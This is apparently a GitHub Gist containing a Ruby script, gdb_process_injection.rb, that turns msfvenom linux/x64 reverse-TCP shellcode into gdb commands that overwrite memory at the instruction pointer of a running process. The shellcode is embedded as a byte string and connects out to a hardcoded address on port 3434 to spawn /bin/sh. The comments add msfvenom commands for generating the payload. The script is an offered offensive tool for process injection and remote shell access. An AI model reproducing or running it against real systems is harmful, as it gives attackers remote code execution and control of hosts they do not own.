Last active
October 28, 2022 23:18
-
-
Save dualfade/45c097acb96c0d5bbee31438d0010b07 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# gdb_process_injection.rb | |
# dualfade -- | |
# inspired by -- | |
# https://bit.ly/3VSvWHX -- | |
# testing -- | |
# docker run -it --rm --cap-add CAP_SYS_PTRACE ubuntu bash | |
# imports -- | |
require 'bundler/inline' | |
gemfile do | |
source 'https://rubygems.org' | |
gem 'slop', require: true | |
gem 'logger', require: true | |
end | |
# logging -- | |
logger = Logger.new($stdout) | |
original_formatter = Logger::Formatter.new | |
logger.formatter = proc { |severity, datetime, progname, msg| | |
original_formatter.call(severity, datetime, progname, msg.dump) | |
} | |
# reverse hex endianness -- | |
# https://www.rubydoc.info/stdlib/core/String:scan -- | |
def flip_bytes(hex) | |
hex.scan(/../).reverse.join('') | |
end | |
# load file -- | |
def format_msf_payload | |
# NOTE: ruby3.x does not like + as concatenation -- | |
# NOTE: rubocop will spit out out warnings -- | |
# ex: msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=3434 -f rb -o /tmp/payload.rb | |
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=3434 | ndisasm -u - | |
logger = Logger.new($stdout) | |
buf = | |
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97" \ | |
"\x48\xb9\x02\x00\x0d\x6a\xc0\xa8\x01\x0f\x51\x48\x89\xe6" \ | |
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce" \ | |
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f" \ | |
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48" \ | |
"\x89\xe6\x0f\x05" | |
# find modulo; adjust payload size; + nops -- | |
modulo = buf.length % 8 | |
padding = 8 - (buf.length % 8) | |
payload = ("\x90" * padding) + buf | |
# format output -- | |
logger.info(format('payload size => %s bytes', buf.bytesize)) | |
logger.info(format('modulo => %s', modulo)) | |
logger.info(format('nop padding => %s bytes', padding)) | |
logger.info(format('new buf size => %s', payload.bytesize)) | |
logger.info(format('generating gdb payload =>')) | |
# NOTE: unpack arr to str, scan; split array; set i inc -- | |
# NOTE: nothing like learning a new language -- | |
p = payload.unpack('H*').to_s | |
c = p.scan(/\w{16}/) | |
counter = 0 | |
gdb_shell = [] | |
loop do | |
# HACK: adjust rip offset -- | |
i = -8 | |
counter += p.length | |
c.each do |e| | |
i += 8 | |
f = format('set {long}($rip+%d) = 0x%s', i, flip_bytes(e)) | |
gdb_shell.push(f) | |
end | |
break if counter == p.length | |
end | |
# ret -- | |
gdb_shell | |
end | |
# write -- | |
def write_file(gdb_shell, outfile) | |
logger = Logger.new($stdout) | |
logger.info(format('writing array to file => %s', outfile)) | |
gdb_shell.each do |line| | |
file_obj = File.new(outfile, 'a') | |
file_obj.syswrite("#{line}\n") | |
file_obj.close | |
end | |
end | |
# errs -- | |
def error(message) | |
logger = Logger.new($stdout) | |
logger.info(format('%s', message)) | |
end | |
# main ;slop opts -- | |
if __FILE__ == $PROGRAM_NAME | |
logger.info('[+] gdb_process_injection --') | |
puts | |
begin | |
opts = Slop.parse do |o| | |
# get opts -- | |
o.string('-o', '--output', 'write gdb payload to file') | |
o.on('-h', '--help', 'help: this menu') do | |
puts(o) | |
exit | |
end | |
end | |
# opts err check -- | |
exit logger.error('exit => missing output') if opts[:output].nil? | |
# assign opts -- | |
outfile = (opts[:output]) | |
gdb_shell = format_msf_payload | |
write_file(gdb_shell, outfile) | |
puts("\n", gdb_shell) | |
# errs -- | |
rescue Slop::Error => e | |
logger.error(e) | |
rescue StandardError => e | |
logger.error(e) | |
end | |
else | |
puts('[+] finished') | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment